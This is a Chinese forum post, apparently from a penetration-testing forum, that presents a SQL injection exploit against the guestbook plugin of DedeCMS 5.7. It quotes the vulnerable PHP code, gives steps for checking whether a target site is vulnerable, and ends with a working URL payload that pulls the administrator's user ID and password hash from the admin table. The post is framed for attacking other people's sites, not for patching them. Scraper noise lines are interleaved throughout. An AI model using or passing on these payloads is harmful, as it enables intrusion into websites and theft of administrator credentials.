中国网络渗透测试联盟
标题:
dedecms5.7最新sql注射漏洞利用 guestbook.php
[打印本页]
作者:
admin
时间:
2012-11-13 13:24
标题:
dedecms5.7最新sql注射漏洞利用 guestbook.php
影响版本为5.7
, K: L# {2 b4 l2 P* J# Q
8 U& y U- ?+ [0 i0 q' l
漏洞文件edit.inc.php具体代码:
( X+ w2 w w: G% T" V
}7 ?7 v% S3 Y5 O
< ?php
" W7 }/ W2 S9 Y0 E3 l) r5 x( ^; o! C
" b1 v# H5 _# D3 N* n! h( }
if(!defined('DEDEINC')) exit('Request Error!');
* V6 _: A& ^) I, S0 N0 N
+ B k. J- K# Y5 q* ]0 [
4 W0 J2 M3 @/ G% P
' k0 y9 o4 B/ A( r
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];
" j' r @8 h0 ^6 i( K( x1 l
( d0 i o, t$ t( Z
else $GUEST_BOOK_POS = "guestbook.php";
* r1 t k* V0 ]7 i
, t3 G, a* D& C3 Q8 ~( G
$ z f) U/ O ]7 k* x: I
9 m& d- e% r+ x- X, |' s; i
$id = intval($id);
6 W, ~0 E# `& O7 U- Y" {& w+ V
" \% E+ |4 H" o1 u' ^* l- S
if(empty($job)) $job='view';
7 q8 n h* J3 `( ^4 f; o4 e
4 o- M, Z1 c, c* F
) c, k+ ~% ~" z0 J1 x9 U5 e1 ^
. K4 ~5 h1 v m3 [9 S& z! F
if($job=='del' && $g_isadmin)
I9 i2 d0 |% @6 f3 t; @: F/ \' E# c
6 n8 S M( }7 f1 K' K
{
9 m, X9 {' c: T* f
_! k6 S$ K1 a7 R
$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");
1 J8 z6 H8 {. t! G2 ]
' H3 }( ~% ~" I% V2 w- I) a' R2 m
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);
3 H5 P( X0 }9 F& R! Z0 s
+ I7 i# @. a& j l5 h8 w6 M* |
exit();
2 J, `! q& Q! Q( [) I
% ]- W! W, W: J! e; z' ]5 v U
}
% Z/ o. |8 I2 T" [! N) o* g; q
" ~/ O' e8 h" P& X
else if($job=='check' && $g_isadmin)
5 T, y& N3 O/ ]6 u, n, J/ d
) S4 ?+ A: y T0 m) a
{
8 d0 b8 }& e9 r
% D$ U" A. ]% ~5 t1 M
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");
7 C/ H+ J- Z1 h: [3 H+ A
X# U. }/ a. T7 G9 y4 I% P$ ~
ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);
3 y/ E% d2 M2 g8 g
# j% t9 G1 g, `! T
exit();
9 k& K- y* x2 }
9 @0 S h5 u6 V" L9 T3 ^/ Z% Z, p9 v
}
4 n* }4 L& C* w1 `
' @5 a3 n7 B/ G4 g8 y5 A
else if($job=='editok')
4 Y2 b! ~( g0 a% Z& U5 o0 e
, z0 Z; y$ P0 g. N2 T
{
8 p$ M) T3 X* r! M+ {& u2 ~
3 ?( x' s! a" B5 p* Q+ c c
$remsg = trim($remsg);
. R$ O; k: i5 D
. g# H8 Q7 y+ i) ` [6 Y4 G( g3 k! W8 e
if($remsg!='')
9 B9 \# B7 Z2 d- l
1 B( @$ B' ^3 b6 D2 ~- x
{
+ G$ D2 z2 y+ n! C/ S @! C( X
0 _7 b: z" [) W1 G
//管理员回复不过滤HTML By:Errorera blog:errs.cc
2 f7 a2 T# }& d- Y
# i7 |6 B# ]" r: U+ U9 S
if($g_isadmin)
7 A+ W) v% z7 T- r {
+ C6 a/ N0 S( L
{
7 g( G5 E+ o+ y. z
: [8 p: J* x6 J3 ^
$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;
) h7 W! u1 y% s, P1 d ?
% @# n) @+ ^0 X0 S* m% u
//$remsg <br /><font color=red>管理员回复:</font> }
) g* Q5 `) p" r9 u( R: d
* S: W0 S1 D, U/ ~& r8 M6 i
else
5 E! B7 f) R% _8 _/ x
% E+ p% T/ B( z9 E
{
5 d2 P( j+ l/ q+ p; \% b
! c- Z1 f& A6 M
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");
1 G6 M: C8 ^. a2 C5 f, @3 f' N [
& t; C4 O- Q' T" N8 t. o, p3 T
$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";
. {4 m/ E, A5 \
. n% q9 _: ]* W p
$remsg = trimMsg(cn_substrR($remsg, 1024), 1);
7 c$ Q% H9 y# b7 v" Z
2 v( p& D% O8 ?- k8 Z6 U& a
$msg = $oldmsg.$remsg;
% q9 X' d8 |/ h4 ^# J
, X' S6 r- e) c# r! J
}
! y' K5 I3 f" Q$ z8 K
2 z, l$ L# n( B# t: o' @/ I6 L! I- E6 y
}
. \( V* D7 `' e
. y6 k& ~7 a8 T- f& R
//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:
www.errs.cc
& ~# l6 a. v% I# G$ c6 i5 B! k- N
% @! l8 K5 ^, v, c# q
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");
8 r/ o4 ~5 R5 }
2 C* {( _% W* l( R
ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);
1 [* [& j& F6 C0 I/ {* F& l
$ ?; |3 |+ G; {8 S; h: w* M- |
exit();
" C7 y1 W" j, T$ c' o9 q
% J; x% P, y3 l( K) S. d
}
( W' j$ t0 Y" D6 u: N5 Y
1 j9 o3 f; W; ?- u9 m4 x9 ?, w
//home:
www.errs.cc
0 U5 r: t5 n8 X, e$ J
; o( h/ B6 ]" E8 B3 N, \
if($g_isadmin)
& C& l8 F; D7 \; K) I% o
) J: ^8 i/ b! |6 \. j
{
: w5 E# d- I* B; I. s
5 _& f% k3 k6 _3 @$ Z. q, ~9 T0 \7 T. d
$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");
+ q3 L# ?2 H" s' X
% ?% \3 j7 N! N5 G
require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');
' r% u0 v# x7 @7 i
: }/ R/ D* u3 i# _
}
/ \% E$ A8 m m5 s
$ H1 ^9 R& Q3 d
else
0 ], Y# n: A* z- c8 \1 b0 W
- {; z' \) o8 F$ k' G3 G. e
{
1 x) Q6 E$ Q: m5 q. F- q3 N, q5 m3 R' {
M! A. G. ~! l1 S
$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");
" f2 n7 r8 u2 o/ P Z {0 ^
" e& P9 @4 J, S4 v' j
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');
- G! `- e& ?1 V
+ ]; v1 ~8 W( c* t, h: ]
} 漏洞成功需要条件:
) s. b% E* _7 ?( F, E
1. php magic_quotes_gpc=off
9 L' `, ~2 c# n, [/ I9 C( T* v
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
* `% K2 m8 }; ?6 x. u
1 c+ A+ k [! P
怎么判断是否存在漏洞:
3 f, N5 y1 |5 G3 M4 h. e- m3 s
先打开
www.xxx.com/plus/guestbook.php
可以看到别人的留言,
8 y0 _4 c8 h$ J+ K6 K' m2 E: g
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
( `/ Z* P0 @) s" h# f
访问:
$ O) n5 t2 b8 ^2 X. a6 U
$ z9 ?$ w6 B% w k" f
www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc
存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
. k- A3 Y6 m( C2 [
跳回到
www.xxx.com/plus/guestbook.php
看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
. F9 H. n7 N: b1 N' {
2 \2 g. `# E/ h; H+ H+ a
) H$ \: R) e/ S# Z; o$ ^
明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
( a! G7 C, e& j0 u
如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。
7 D# E( `! R; e! u( l
那么再次访问
3 C* y1 [7 I" b v8 ]4 A3 E5 e
6 J2 d" R1 q* f/ v: e$ X6 K" W: b
www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=
存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().
! p7 }9 m8 @" d( l" h2 e! s W
& i& Y0 w9 B" g% a& b! y9 G
大概利用就是这样,大家有兴趣的多研究下!!
3 v. _4 ]# b* r& [' i& |2 p1 M
' R- s0 w) j6 N6 M* x) F$ u
最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!
& Y, U; ^) H, S# D
^" {4 @" U* P/ y' x9 r
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2